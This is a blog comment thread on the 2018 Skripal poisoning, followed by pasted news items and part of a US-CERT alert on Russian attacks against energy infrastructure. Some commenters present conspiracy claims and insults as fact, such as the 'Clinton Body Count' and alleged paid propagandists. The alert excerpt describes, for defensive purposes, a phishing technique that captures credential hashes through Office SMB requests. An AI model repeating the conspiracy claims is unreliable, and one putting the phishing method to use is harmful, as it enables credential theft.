The question raised by the link offered by Oyyo at 6 (at least 21 affected by the "neurotoxin"), the comments offered by Debisdead at 21, and the note from Craig Murry about the nearby chemical site: Was this an attack targeting Skripal at all, or some other kind of "misadventure"? There are so many opportunities to use this kind of incident, by entities capable of spinning it this way and that, that it doesn't give to us individuals reading the news much hope of ever learning the truth.
Posted by: Briar Patch | Mar 8, 2018 8:05:32 PM | 25
>>>>> ToivoS | Mar 8, 2018 7:08:41 PM | 19
Fentanyl can enter the body through the skin:
A police officer in East Liverpool, Ohio, collapsed and was rushed to the hospital after he brushed fentanyl residue off his uniform, allowing the drug to enter his system through his hands. The officer had apparently encountered the opioid earlier in the day while making a drug bust.
Fenatanyl acts on the nervous system so could be described as a "nerve agent", particularly by a British politician or civil servant.
Posted by: Ghost Ship | Mar 8, 2018 8:16:50 PM | 26
Very good. Made me see it from a different perspective which now fills in some misding gaps.
Posted by: Hermius | Mar 8, 2018 8:30:36 PM | 27
Missing not "misding".....typo error
Posted by: Hermius | Mar 8, 2018 8:32:05 PM | 28
>>>: Debsisdead | Mar 8, 2018 6:02:23 PM | 14
For me it was particularly suss when the Leceister(sic) Police who are the coppers on the ground in Salisbury
Leicestershire Police is responsible for Leicestershire and Rutland. Wiltshire Police is responsible for Wiltshire, including Salisbury, and Swindon. So i'd be very surprised if Leicestershire Police were "the coppers on the ground".
Posted by: Ghost Ship | Mar 8, 2018 8:48:23 PM | 29
I love it when the UK media call it a "professional hit job." No, it's not. In a professional hit job the person ends up dead.
Posted by: WorldBLee | Mar 8, 2018 8:49:38 PM | 30
Meanwhile The Guardian is spewing its usual bilge.
Russian spy attack inquiry widens after medics treat 21 people
Statement from Wiltshire Police:
In addition to the three inpatients**** who are currently receiving treatment in relation to the incident, in line with Public Health England guidance, which asked anyone who was in the area and is concerned because they feel unwell to come forward, the Trust has seen and assessed a number of people who did not need treatment.
**** - These are Sgt Nick Bailey & the two original victims.
Posted by: Ghost Ship | Mar 8, 2018 9:02:37 PM | 31
The longer Skripal and his daughter stay alive, the more propaganda can be rung out of his death. Be worth watching to see how many sanctions and laws the UK can push through before he finally snuffs it.
Posted by: Peter AU 1 | Mar 8, 2018 9:04:33 PM | 32
Very sloppy management by the news, where initial reporting identified the exact age of the female "companion", inadvertently letting on to knowledge of identity of the "unknown" victim. It's this kind of stuff in the MSM that just causes immediate distrust of the reporting and the sources thereof.
Posted by: YY | Mar 8, 2018 9:30:37 PM | 33
Ooops nearly compounded the error by writing "leicester or wiltshire they're both north of watford so who knows or cares" until my vague memories of england geography reminded me that leicester is west not north so I better not add to the mistake. This is what happens when TV news temporarily distracts without properly informing. I spose I may have picked up the error if the article I linked to had included the town's name, but I didn't pick up on it mainly because I didn't check - so my fault.
I still maintain that swapping investigators was more about controlling the message than solving the crime though.
Posted by: Debsisdead | Mar 8, 2018 9:38:33 PM | 34
see, I did it again wiltshire is north & leicester is west. It has been a long time since I prowled england.
Posted by: Debsisdead | Mar 8, 2018 9:43:36 PM | 35
countries swap spies that have been caught, spooks that are loyal to and working for their country. I take it Skripal was in jail from 2004 until the swap in 2001. It appears he sold out his country for money, rather than any ideological convictions. Why would the US/UK want to swap a Russian spook for a traitor that sold out his country purely for financial gain?
Posted by: Peter AU 1 | Mar 8, 2018 9:48:23 PM | 36
Latest Meyssan, very interesting, quite revealing about the global stage:
The new Russian nuclear arsenal restores world bipolarity
While the experts were wondering about the possible evolution of the world order towards a multipolar system, or even a simple tripolar system, the sudden advances of Russian military technology force the return to a bipolar organisation. Let's take another look at what we have learned over the last three years, until the President Putin's revelations on 1 March 2018.
We're back to square one '' the world is once again bipolar. The United States, certain of their superiority, never imagined the rebirth of Russian military capability.
In the second quarter of 2012, Russia and its allies agreed to deploy a peace force in Syria as soon as the Geneva agreement was concluded.
But everything changed when France rebooted the war in July 2012. Although Russia had obtained recognition by the UNO of the Collective Security Treaty Organization in order to deploy Muslim soldiers, mainly from Kazakhstan, nothing was happening. Despite the calls for help from Damascus, Moscow remained silent for a long time. It was only three years later that the Russian Air Force arrived, and bombed the jihadists' underground installations.
During the three years that followed, there were many military incidents which opposed Russia to the United States. For example, the Pentagon complained about the strange aggressivity of Russian bombers which approached the US coast. In Damascus, we sought an explanation for Moscow's silence, and asked ourselves if Russia had forgotten its engagements. None of that was true. Russia was secretly building a new arsenal, and moved in only when it was ready.
From the beginning of its intervention, the Russian army installed a system which did not simply scramble NATO commands, but disconnected them within a range of 300 kilometres around Lattakia. Thereafter, it deployed the same system in the Black Sea and at Kaliningrad. Apart from their new aircraft, Russia used cruise missiles which were more accurate than those of the USA, fired by the navy from the Caspian Sea. Last month, on the battle field, it tested multi-purpose planes with capacities as yet unknown.
[..]
Posted by: PeacefulProsperity | Mar 8, 2018 10:18:50 PM | 37
BTW The Clinton Body Count increases again:
"FBI Special Agent David Raynor was suicided yesterday while he was investigating why former US Secretary of State Hillary Clinton met this past June (2017) with Baltimore Police Department Detective Sean Suiter'--who was a member of the wildly corrupt Baltimore police unit called the Gun Trace Task Force linked to the ''Operation Fast and Furious'' gun scandal covered up the Obama regime'--but with Detective Suiter being murdered with his own gun on 15 November (2017) the day before he was due to testify before a US Federal Grand Jury..."
Posted by: PeacefulProsperity | Mar 8, 2018 10:35:35 PM | 38
>>>> Debsisdead | Mar 8, 2018 9:43:36 PM | 35
see, I did it again wiltshire is north & leicester is west. It has been a long time since I prowled england.
Nah, Wiltshire is west and Leicestershire in north.
Posted by: Ghost Ship | Mar 8, 2018 10:45:56 PM | 40
Debs
you're losing it mate.
Think london 4 oclock, wiltshire 7 oclock and leicester 10 oclock
otherwise look at a map.
:)
Posted by: m | Mar 9, 2018 2:34:26 AM | 41
Ah! But the point is: where are they in relation to Watford, which is 10 o'clock in relation to London?
Posted by: Shakesvshav | Mar 9, 2018 4:26:10 AM | 42
Why wait for a report, facts? Just bomb Russia....-seems to be the argument in the media in the west.
Posted by: Anonymous | Mar 9, 2018 4:49:45 AM | 43
When we look at how the corporate media is spinning this story, it seems to me that Craig Murray's theory about using the incident to ramp up Russophobia has its merits.
Posted by: Dee Drake | Mar 9, 2018 4:58:36 AM | 44
Big gulf between fentanyl and nerve gas. Curious to see how they "reslove" this gulf in a way that can plausibly frame Russia.
Posted by: JC | Mar 9, 2018 10:12:53 AM | 45
No, I think MoA has this wrong. The fact the connection with Steele is being touted by outlets such as Meduza tells us this is being put out there as an ''emerging'' narrative. It will be ''weakly'' denied by officials and allowed to exist as a ''suppressed'' truth. Because the Steele connection offers a reason why Russia would off Skripal after all this time. It actually SUPPORTS the western narrative.
Frankly the degree of press coverage and seemingly pre-planned roll out here is more than enough to convince me this is part of an orchestrated new wave of anti-Russia propaganda, maybe as a prelude to intensified economic war.
Posted by: Neve | Mar 9, 2018 10:16:27 AM | 46
Skripal got off very lightly in Russia from his conviction. The linked article mentioned a comparison to Penkovsky who was supposedly executed by firing squad. Actually he was (allegedly) allegedly strapped to a trolly and wheeled live into his cremation. Penkovsky's treason was really massive. All the same, betraying 300 colleagues to the British as Skripal was supposed to have done is pretty disgusting.
If the British murdered their agent Skripal as a 'convenience' to get out of an embarassment that would be typical, as the British have zero loyalty and faithfulness towards their faithful servants.
In the second world war the British were reading all the German coded wireless transmissions using the world's first computer at Bletchley Park, which gave them a massive military advantage they would otherwise not have. The most critical component that made this possible after the capture of a coding machine in Poland was the leak of the German codebook. Were the British grateful to their source who most dangerously and laboriously leaked out the code bit by bit, by scribbling bits on a piece of paper which he hid in his backside during trips to the toilet? Once he had almost completed his task he was murdered in Amsterdam by pushing him into a speeding bus - not by the Germans but by the British!
Posted by: BM | Mar 9, 2018 10:26:22 AM | 47
The cremation story is lifted from an early scene in the Bond movie ''Diamonds Are Forever,'' BM #47.
So, for Skripal it should have been crushing by prams rolling down steps. Or maybe cutting with a laser beam.
Posted by: Cortes | Mar 9, 2018 10:38:55 AM | 48
His daughter worked for Nike in Moscow and according to her social media posts is currently working for PepsiCo in Moscow.
Posted by: Nard | Mar 9, 2018 11:08:50 AM | 49
The cremation story was not lifted from a movie it came from another source which I do not intend to name. It is probable, on the contrary, that the movie story was lifted from that source, whether directly or indirectly.
Posted by: BM | Mar 9, 2018 11:42:05 AM | 50
O/t
https://theconservativetreehouse.com/2018/03/08/president-trumps-stunningly-effective-north-korea-policy-leaves-professional-diplomatic-corps-gobsmacked/
Supposedly according to a statement by South Korean National Security Adviser Chung Eui-yong, Kim Jong-un is 'ready' to negotiate away with the US his nuclear deterrance and has asked to meet Trump. The allegations in the above report cannot be true, they would be suicidal. Kim Jong-un is far too intelligent for that. I think more likely the report is seriously distorted by Chung Eui-yong as a means of stupid and naive manipulation - if so that would be a sinister development.
The US is not capable of entering into any legal agreement under which it can be trusted to abide by the terms for more than 5 minutes - that has been proved multiple times over in the recent years. Qadhafy also negotiated away his nuclear programme with legal agreements and where did he end up? And that was before the more recent TOTAL renunciation of adherence to international law by the US which is no longer even covered by a fig leaf!
Kim has claimed (reasonably) before that IF North Korea's security COULD be adequately guaranteed he would be ready to give up his nuclear weapons. That does NOT mean it is POSSIBLE to achieve any such guarantee - who could ever make any such guarantee and how could it be enforced, and what would the interests of the enforcers be? It seems impossible to me. Certainly any bilateral agreement between the US and Kim has no relevance whatsoever to with Kim's offer - it would be like signing his own death warrant.
What makes the report especially implausible by many orders of magnitude is the pitiful allegation in the statement:
''I told President Trump that in our meeting North Korean leader Kim Jong-un said he is committed to denuclearization. Kim pledged that North Korea will refrain from any further nuclear or missile tests; he understands that the routine joint military exercises between the Republic of Korea and the United States must continue. And he expressed his eagerness to meet President Trump as soon as possible.''
...
''Along with President Trump we are optimistic about continuing a diplomatic process to test the possibility of a peaceful resolution. The Republic of Korea, The United States and our partners stand together in insisting that we not repeat the mistakes of the past; and that the pressure will continue until North Korea matches it's words with concrete actions. Thank You.''
In other words, according to (what I presume is a US puppet and beneficiary of the warmongering) Chung Eui-yong, Kim Jong-un bows down to the supreme military superiority of the US and humbly begs for promises that are not worth writing on toilet paper. Anybody who believes that is a moron. Chung Eui-yong is obviously deliberately distorting Kim's position, as an attempt to sabotage the peace negotiations, the treacherous monster. I can well understand that Kim Jong-un would be horrified by Chung Eui-yong's statement which would massively increase distrust and undermine the tremendous recent diplomatic advances between North and South Korea, but hopefully Kim will navigate around it. Chung Eui-yong must be fired immediately.
I cannot see how North Korea's security could possibly be guaranteed without its nuclear weapons, unless the US gives up all its weapons, navy and worldwide bases. If any such possibility exists it would certainly be dependent on guarantees from many parties including (most crucially) Russia and China, but also the SCO, EU, NATO and the US. The Iran agreement already had multiple guarantors but even that is threatening to unravel, and the US is threatening to tear it up. How could Kim trust that he will not end up sodomised with a bayonet like Qadhafy? The real problem is how can any agreement be enforced if the US tears it up?
Probably any solution if it exists must include arming North Korea with the latest Russian non-nuclear defence equipment with guarantees to upgrade them, combined with defence agreements, investments in the economy, and certainly with multi-year transition arrangements before nuclear weapons are actually removed.
Forget about signing a piece of toilet paper with the US - it is meaningless unless North Korea has POTENT means to enforce US compliance with any such agreement. Such enforcement cannot rely on legal channels because the US is a rogue state with no respect for the law.
"he understands that the routine joint military exercises between the Republic of Korea and the United States must continue" - bad joke, bad taste.
Posted by: BM | Mar 9, 2018 11:43:07 AM | 51
Add to the above ...
A large-scale strategically and economically important industrial project as joint development with Russia and China could maybe go a long way to increasing Kim Jong-un's confidence in Russia's and China's interests in enforcing any agreement. North Korean, Russian and Chinese geostrategic interests need to be made to coincide far more than they do currently.
Posted by: BM | Mar 9, 2018 11:54:30 AM | 52
as mentioned above, the UK is saturated with CCTV cameras. in all the MSM screeching i have yet to hear about any footage being examined.
as for murray's theory, i think you're both right. while i doubt the primary reason was to gin up more russophobia (they usually just make stuff up out of thin air and it usually works) it is a pleasant side effect for the brit officials who have recently been groveling for more war profiteering under the pretense of "russia on our doorstep".
they seem to have the same mentality rahm emanuel had when he said (regarding the 2008 collapse that decimated giant swathes of the US economy) "never let a good crisis go to waste". maybe an even better analogy would be churchill praying for a german attack to justify his bloodlust as seen in dresden and other firebombing targets.
Posted by: the pair | Mar 9, 2018 2:14:50 PM | 56
the fact that putin has elections and the media came out with the story that this move would ensure after the elections that other spies won't have any doubts.....are prepared statements. if your spies were in syria from rus and from us. i think most people know who would have the heavier conscience. and in fact it is reminding their own what they are worth to them .... genius. actually.
before cctv were widespread among civil infrastructure, the opponents against the idea realized that people can just erase the time stamp and put on different ones and have actors act it out and placed onto television as proof. but we see they usually go for the afp reported from cnn report from 50 agencies unnamed unsourced deparment heads, circular fun.
i am not so much interested in the videos from nearby stores and streets, as if one really were to investigate, looking through weeks of tapes is not difficult. i am more interested in Britain next move.
i think it would be easier to britain to just mute this guy permanently if he were to wake up with ideas that it wasn't putin its a big problem for all the milking they are doing on it.
a. he makes it out of the hospital and comes out and becomes anti putin fanatic and makes it believable.
b. he makes it out of the hospital and goes back to normal life.
c. he makes it out of the hospital and is immediately gunned/poisoned by "russians".
d. he doesn't make it out of the hospital and goes back to normal life anyways.
e. he doesn't make it out of the hospital......but his daughter does.
f. he doesn't make it out of the hospital and is in coma indefinitely.
g. he is dropped from the news altogether due to security censorship.
Posted by: jason | Mar 9, 2018 3:40:04 PM | 57
Ah, wrong link, please delete my two comments, b! Darn.
Posted by: Scotch Bingeington | Mar 9, 2018 6:29:46 PM | 60
The police sgt. that became ill wasn't at the initial scene, he later searched the home of the two victims. So someone is making the assumption that they may have been poisoned at their home since that is where the police officer who later became ill was assigned.
Posted by: luke8929 | Mar 9, 2018 11:54:55 PM | 61
There is a possible scenario that he was in possession of a nerve agent, and accidentally poisoned himself and his daughter
Porton Down is only 8 miles down the road
Posted by: francesca | Mar 10, 2018 12:49:40 AM | 62
I believe Craig Murray.
Anyone who remembers the 9/11 Anthrax scare that threatened US decision makers?
Posted by: somebody | Mar 10, 2018 5:45:04 AM | 63
I believe Craig Murray.
...
Posted by: somebody | Mar 10, 2018 5:45:04 AM | 63
Craig Murray smelt a rat and made his suspicions clear, publicly. Whether Murray's speculation is better or worse than anyone else's is unresolved and could remain that way, if History is any guide.
We seem no closer to discovering the ID of the instigators of the sordid and spectacularly public murder of Kim Jong-nam.
Posted by: Hoarsewhisperer | Mar 10, 2018 9:58:06 AM | 65
The BBC has reported that a "source familiar with the investigation" said the nerve agent was "likely to be rarer than sarin or VX". This suggests that the ground is being prepared for announcing a result that will implicate Russia.
Kaszeta on bellingcat.com brings up the story of "novichoks" a class of organophosphate compounds allegedly developed as military nerve agents in the USSR. Russian chemists published papers in the open literature on these compounds from the 1960s to the 1980s. The story that they were developed for military use and given the name "novichok" comes from a defector in the 1990s, Vil Mirzayanov. An authoritative review by Robin Black notes that there is no independent evidence supporting Mirzayanov's claims about the properties of these compounds.
Kaszeta's comments are relevant because he works closely with Bellingcat and it appears from his output that since 2013 he has been used to channel information originating from western intelligence services about alleged chemical attacks, based on his status as an independent expert with his company Strongpoint Security. The accounts filed for this company show that its turnover was not enough to provide Kaszeta with a living, raising obvious questions about who or what was paying him.
Posted by: yoffa | Mar 10, 2018 10:29:38 AM | 66
65, Hw... Murray has a lot more insider information than he lets on, often couching it as speculation, probably partly to protect sources. He can be admirably or foolishly blunt at times ("z' is b'sh!")but with delicate issues, he often alludes at things insteda of saying outright. He has retained deep connections with many (at least partially like-minded) people at the FCO, the diplomatic corps and (indeed) MS5 and 6.
Posted by: Petra | Mar 10, 2018 10:45:44 AM | 67
@66 yoffa
"Novichok" was just used in the plot of the latest Strike Back TV series, from the Wikipedia article-
"She discovers that Zaryn is in fact Karim Markov, a Russian scientist who allegedly killed his colleagues with Novichok, a nerve agent they invented"
https://en.wikipedia.org/wiki/Strike_Back:_Retribution
Posted by: TJ | Mar 10, 2018 11:32:45 AM | 70
You can delete my comment at #68, sorry, I thought it was not posted, but, in the end, the second one gets clearer...
Posted by: Fatima Manoubia | Mar 10, 2018 12:03:15 PM | 71
The commenter "Abben" is making some more comments below, besides of the first one at that post linked, just scroll down the comments to find it...
Posted by: Fatima Manoubia | Mar 10, 2018 12:07:10 PM | 72
65, Hw... Murray has a lot more insider information than he lets on.
...
Posted by: Petra | Mar 10, 2018 10:45:44 AM | 67
His Former British Ambassador status bolsters his street cred. OTOH one imagines that he is acutely aware of the line dividing whistle-blowing from treason.
On the other, other hand, b is a quite diligent and competent sleuth too, and has more than a passing interest in military/defense intrigue and intel.
Posted by: Hoarsewhisperer | Mar 10, 2018 12:53:16 PM | 73
Goodness, the poster of #1 just thoroughly discredited him/her self.
Sobchak is a Judas goat. Perhaps this poster should know that Sobchak's father was the former employer of Putin when said individual was mayor of St. Petersburg.
Equally, choosing Sobchak as an agent would class as one of the most idiotic of all time - only to be exceeded if Paris Hilton was a Russian agent. The two ladies employed much the same routes to fame...
Posted by: c1ue | Mar 10, 2018 8:52:12 PM | 76
Who gives a fukc about pathetic Tavistock City of London propaganda spewed by that pimply lardass Bilecunt paid by MI6?
Posted by: PeacefulProsperity | Mar 10, 2018 11:34:32 PM | 77
@66 yoffa... did you read craig murrays post The Elephant In The Room ???
the reason i ask is the line of info the bbc is pushing via the one bellingcat is taking up, is very connected to craigs comment. "Nerve agents including Sarin and VX are manufactured by the British Government in Porton Down, just 8 miles from where Sergei Skripal was attacked." indeed no one in the western msm is making any connection with porton down and the special chemical substance under question, that could only be made by a state player whether it be in the uk or russia or wherever... it would seem to me that the uk has spent an inordinate amount of effort trying to frame russia, not the least being the steele dossier that remains central to the mueller investigation...
just how this witch hunt to frame russia is supposed to play out, remains to be seen, but it sure looks it's still in overdrive.. any time i see the name bellingcat, i'm immediately reminded of those outlets that are a part of this same effort too! oh well.. glad to know bellingcat is still on the payroll.. i'm sure they have something to say that is tailor made to make russia out to look guilty.. i have never seen anything else from them, but it gives me a warm fuzzy feeling to know where some of that 40 million us$ for propaganda goes.. i guess this is how they remain on the payroll! make it look official it's from russia.. use a fun word like "novichoks".. if only steele could be given a 2nd chance, i am sure he could find some choice russian sounding words to spice up another dossier! i guess steeles retirement in the uk will be fine at any rate.. too bad bellingcat wasn't put out to pasture sooner too..
Posted by: james | Mar 10, 2018 11:50:01 PM | 78
lol peacefulprosperity... i didn't see your post until after i posted!!
Posted by: james | Mar 10, 2018 11:50:50 PM | 79
The Brits.. brought in democracy to pacify the peasants. The good idea spread around a bit and reached its peak in the days of the cold war. With the collapse of the USSR, such extreme measures were no longer needed. A little disinformation operation masquerading as bloggers to waylay any foolish enough question the narrative is thought to be all that is required.
Posted by: Peter AU 1 | Mar 11, 2018 12:48:40 AM | 80
And who gets to drive the inquiry on the gassing of two Russians ?
Well - no other than Porton Down.
Who got to drive the inquiry on MH17 .
Well no other than the Dutch.
Who got to drive the inquiry on 9/11 .
Well no other than a US Secret Commission.
Results - NONE.
Posted by: Jack | Mar 11, 2018 6:14:16 AM | 81
RFI writes with a bit of sarcasm that the Brits refuse to name the nerve agents but after it ahs been found at the pub and restaurant which the guy used to visit regularly, they advise all customers to wash everything and are afraid the effects might take months to appear
but the effects appeared to be harmful just when his daughter was in town?
Posted by: Mina | Mar 11, 2018 12:09:02 PM | 82
another Clinton crime?
Posted by: steve | Mar 13, 2018 8:16:21 AM | 83
Everyone here is a crazy conspiracy theorist - wow!
Posted by: Alana Adel | Mar 13, 2018 10:00:05 AM | 84
Fourth paragraph above last sentence
... the scene was also seriously *effected*.
Should that be affected?
Posted by: Reader | Mar 14, 2018 3:05:44 PM | 85
UK reluctance to file request to Russia under OPCW indicates their case is weak '' Lavrov '-- RT World News
Sun, 18 Mar 2018 10:10
The UK's failure to send a request to Moscow over the Skripal case via Organization for Prohibition of Chemical Weapons (OPCW) channels points to a lack of legal basis for a proper investigation, Russia's Foreign Minister said.
''The fact, that they [UK officials] categorically rejects to file an official request and deliberately and arrogantly fan anti-Russian rhetoric in the public sphere bordering on hysteria, indicates that they clearly understand they have no formal pretext to go down a legal road,'' Lavrov said on Friday, referring to the British authorities' allegations that Russia, and, notably, President Vladimir Putin, were behind the plot to poison the former double agent and his daughter.
Read more
Instead, UK officials have tried to "move all this to the sphere of political rhetoric, to Russophobia in the hope that, as it was in many other cases, the West will align,'' Lavrov said.
The Russian top diplomat argued that British PM Theresa May's accusatory tirade in the Parliament, as well as the summoning of the Russian ambassador in the Foreign Office, cannot serve as a substitute for the formal proceedings envisaged in the Convention for Prohibition of Chemical Weapons.
Claims made by British authorities to the contrary are ''absolutely illiterate,'' Lavrov stressed, noting that the UK must file an official request in writing if it genuinely seeks to elicit the truth. For the moment being, Russia is still waiting for British authorities to submit such a request under the framework of the convention, he said.
The fact that the UK government is unwilling to question its own snap judgments should be a cause for concern in a society that prides itself as a democracy, Lavrov said. He was referring to the outrage that was sparked by Labor Party leader Jeremy Corbyn when he was heckled by the MP after he cautioned them against drawing instant conclusions in the case and asked for concrete evidence of Russia's culpability.
''So I think the right approach is to seek the evidence; to follow international treaties, particularly in relation to prohibited chemical weapons, because this was a chemical weapons attack, carried out on British soil,'' Corbyn's spokesman said following the debate, which led to him being ostracized by the media.
Read more
On Thursday, Corbyn doubled down on his dissent, writing an op-ed for the Guardian that said: ''To rush way ahead of the evidence being gathered by the police, in a fevered parliamentary atmosphere, serves neither justice nor our national security.''
While UK Foreign Minister Boris Johnson said that the UK would allow the international OPCW experts in The Hague to review the British analysis of the sample, the UK refuses to enact the mechanism in the OPCW that calls for a thorough investigation, Lavrov said, adding that ''if you appeal to this organization, you must comply with the provisions of the Convention that stipulate filing a request to us, because we are suspected of being a country of origin and even the country which had used this poisoning agent, and, providing us with samples of this agent, so we, together with OPCW experts, can analyze it.''
However, ''the British don't want to use any of this,'' he added, noting that when other countries express solidarity with the UK's stance, it looks like a ''total sham and an insult to the common sense.''
Meanwhile, Johnson claimed that London was ''entirely in conformity with OPCW procedures'' on Friday, alleging that the evidence of Russia's involvement in the incident is ''overwhelming.''
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Cyberattacks Put Russian Fingers on the Switch at Power Plants, U.S. Says - The New York Times
Sun, 18 Mar 2018 14:17
''We now have evidence they're sitting on the machines, connected to industrial control infrastructure, that allow them to effectively turn the power off or effect sabotage,'' said Eric Chien, a security technology director at Symantec, a digital security firm.
''From what we can see, they were there. They have the ability to shut the power off. All that's missing is some political motivation,'' Mr. Chien said.
American intelligence agencies were aware of the attacks for the past year and a half, and the Department of Homeland Security and the F.B.I. first issued urgent warnings to utility companies in June. On Thursday, both agencies offered new details as the Trump administration imposed sanctions against Russian individuals and organizations it accused of election meddling and ''malicious cyberattacks.''
It was the first time the administration officially named Russia as the perpetrator of the assaults. And it marked the third time in recent months that the White House, departing from its usual reluctance to publicly reveal intelligence, blamed foreign government forces for attacks on infrastructure in the United States.
In December, the White House said North Korea had carried out the so-called WannaCry attack that in May paralyzed the British health system and placed ransomware in computers in schools, businesses and homes across the world. Last month, it accused Russia of being behind the NotPetya attack against Ukraine last June, the largest in a series of cyberattacks on Ukraine to date, paralyzing the country's government agencies and financial systems.
But the penalties have been light. So far, Mr. Trump has said little to nothing about the Russian role in those attacks.
The groups that conducted the energy attacks, which are linked to Russian intelligence agencies, appear to be different from the two hacking groups that were involved in the election interference.
That would suggest that at least three separate Russian cyberoperations were underway simultaneously. One focused on stealing documents from the Democratic National Committee and other political groups. Another, by a St. Petersburg ''troll farm'' known as the Internet Research Agency, used social media to sow discord and division. A third effort sought to burrow into the infrastructure of American and European nations.
For years, American intelligence officials tracked a number of Russian state-sponsored hacking units as they successfully penetrated the computer networks of critical infrastructure operators across North America and Europe, including in Ukraine.
Some of the units worked inside Russia's Federal Security Service, the K.G.B. successor known by its Russian acronym, F.S.B.; others were embedded in the Russian military intelligence agency, known as the G.R.U. Still others were made up of Russian contractors working at the behest of Moscow.
Russian cyberattacks surged last year, starting three months after Mr. Trump took office.
American officials and private cybersecurity experts uncovered a series of Russian attacks aimed at the energy, water and aviation sectors and critical manufacturing, including nuclear plants, in the United States and Europe. In its urgent report in June, the Department of Homeland Security and the F.B.I. notified operators about the attacks but stopped short of identifying Russia as the culprit.
By then, Russian spies had compromised the business networks of several American energy, water and nuclear plants, mapping out their corporate structures and computer networks.
They included that of the Wolf Creek Nuclear Operating Corporation, which runs a nuclear plant near Burlington, Kan. But in that case, and those of other nuclear operators, Russian hackers had not leapt from the company's business networks into the nuclear plant controls.
Forensic analysis suggested that Russian spies were looking for inroads '-- although it was not clear whether the goal was to conduct espionage or sabotage, or to trigger an explosion of some kind.
In a report made public in October, Symantec noted that a Russian hacking unit ''appears to be interested in both learning how energy facilities operate and also gaining access to operational systems themselves, to the extent that the group now potentially has the ability to sabotage or gain control of these systems should it decide to do so.''
The United States sometimes does the same thing. It bored deeply into Iran's infrastructure before the 2015 nuclear accord, placing digital ''implants'' in systems that would enable it to bring down power grids, command-and-control systems and other infrastructure in case a conflict broke out. The operation was code-named ''Nitro Zeus,'' and its revelation made clear that getting into the critical infrastructure of adversaries is now a standard element of preparing for possible conflict.
The Russians have gone farther.
In an updated warning to utility companies on Thursday, Homeland Security officials included a screenshot taken by Russian operatives that proved they could now gain access to their victims' critical controls.
American officials and security firms, including Symantec and CrowdStrike, believe that Russian attacks on the Ukrainian power grid in 2015 and 2016 that left more than 200,000 citizens there in the dark are an ominous sign of what the Russian cyberstrikes may portend in the United States and Europe in the event of escalating hostilities.
Private security firms have tracked the Russian government assaults on Western power and energy operators '-- conducted alternately by groups under the names DragonFly, Energetic Bear and Berserk Bear '-- since 2011, when they first started targeting defense and aviation companies in the United States and Canada.
By 2013, researchers had tied the Russian hackers to hundreds of attacks on energy grid and oil and gas pipeline operators in the United States and Europe. Initially, the strikes appeared to be motivated by industrial espionage '-- a natural conclusion at the time, researchers said, given the importance of Russia's oil and gas industry.
But by December 2015, the Russian hacks had taken an aggressive turn. The attacks were no longer aimed at intelligence gathering, but at potentially sabotaging or shutting down plant operations.
At Symantec, researchers discovered that Russian hackers had begun taking screenshots of the machinery used in energy and nuclear plants, and stealing detailed descriptions of how they operated '-- suggesting they were conducting reconnaissance for a future attack.
As the American government enacted the sanctions on Thursday, cybersecurity experts were still questioning where the Russian attacks could lead, given that the United States was sure to respond in kind.
''Russia certainly has the technical capability to do damage, as it demonstrated in the Ukraine,'' said Eric Cornelius, a cybersecurity expert at Cylance, a private security firm, who previously assessed critical infrastructure threats for the Department of Homeland Security during the Obama administration.
''It is unclear what their perceived benefit would be from causing damage on U.S. soil, especially given the retaliation it would provoke,'' Mr. Cornelius said.
Though a major step toward deterrence, publicly naming countries accused of cyberattacks still is unlikely to shame them into stopping. The United States is struggling to come up with proportionate responses to the wide variety of cyberespionage, vandalism and outright attacks.
Lt. Gen. Paul Nakasone, who has been nominated as director of the National Security Agency and commander of United States Cyber Command, the military's cyberunit, said during his Senate confirmation hearing this month that countries attacking the United States so far have little to worry about.
''I would say right now they do not think much will happen to them,'' General Nakasone said. He later added, ''They don't fear us.''
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A version of this article appears in print on March 16, 2018, on Page A1 of the New York edition with the headline: U.S. Says Hacks Left Russia Able To Shut Utilities.
Continue reading the main story
Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors | US-CERT
Sun, 18 Mar 2018 14:17
Since at least March 2016, Russian government cyber actors'--hereafter referred to as ''threat actors'''--targeted government entities and multiple U.S. critical infrastructure sectors, including the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors.
Analysis by DHS and FBI, resulted in the identification of distinct indicators and behaviors related to this activity. Of note, the report Dragonfly: Western energy sector targeted by sophisticated attack group, released by Symantec on September 6, 2017, provides additional information about this ongoing campaign. [1]
This campaign comprises two distinct categories of victims: staging and intended targets. The initial victims are peripheral organizations such as trusted third-party suppliers with less secure networks, referred to as ''staging targets'' throughout this alert. The threat actors used the staging targets' networks as pivot points and malware repositories when targeting their final intended victims. NCCIC and FBI judge the ultimate objective of the actors is to compromise organizational networks, also referred to as the ''intended target.''
Technical Details
The threat actors in this campaign employed a variety of TTPs, including
spear-phishing emails (from compromised legitimate account),watering-hole domains,credential gathering,open-source and network reconnaissance,host-based exploitation, andtargeting industrial control system (ICS) infrastructure.Using Cyber Kill Chain for Analysis
DHS used the Lockheed-Martin Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. Phases of the model include reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on the objective. This section will provide a high-level overview of threat actors' activities within this framework.
Stage 1: Reconnaissance
The threat actors appear to have deliberately chosen the organizations they targeted, rather than pursuing them as targets of opportunity. Staging targets held preexisting relationships with many of the intended targets. DHS analysis identified the threat actors accessing publicly available information hosted by organization-monitored networks during the reconnaissance phase. Based on forensic analysis, DHS assesses the threat actors sought information on network and organizational design and control system capabilities within organizations. These tactics are commonly used to collect the information needed for targeted spear-phishing attempts. In some cases, information posted to company websites, especially information that may appear to be innocuous, may contain operationally sensitive information. As an example, the threat actors downloaded a small photo from a publicly accessible human resources page. The image, when expanded, was a high-resolution photo that displayed control systems equipment models and status information in the background.
Analysis also revealed that the threat actors used compromised staging targets to download the source code for several intended targets' websites. Additionally, the threat actors attempted to remotely access infrastructure such as corporate web-based email and virtual private network (VPN) connections.
Stage 2: Weaponization
Spear-Phishing Email TTPs
Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. (An example of this request is: file[:]///Normal.dotm). As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user's credential hash to the remote server before retrieving the requested file. (Note: transfer of credentials can occur even if the file is not retrieved.) After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication. [2]
Use of Watering Hole Domains
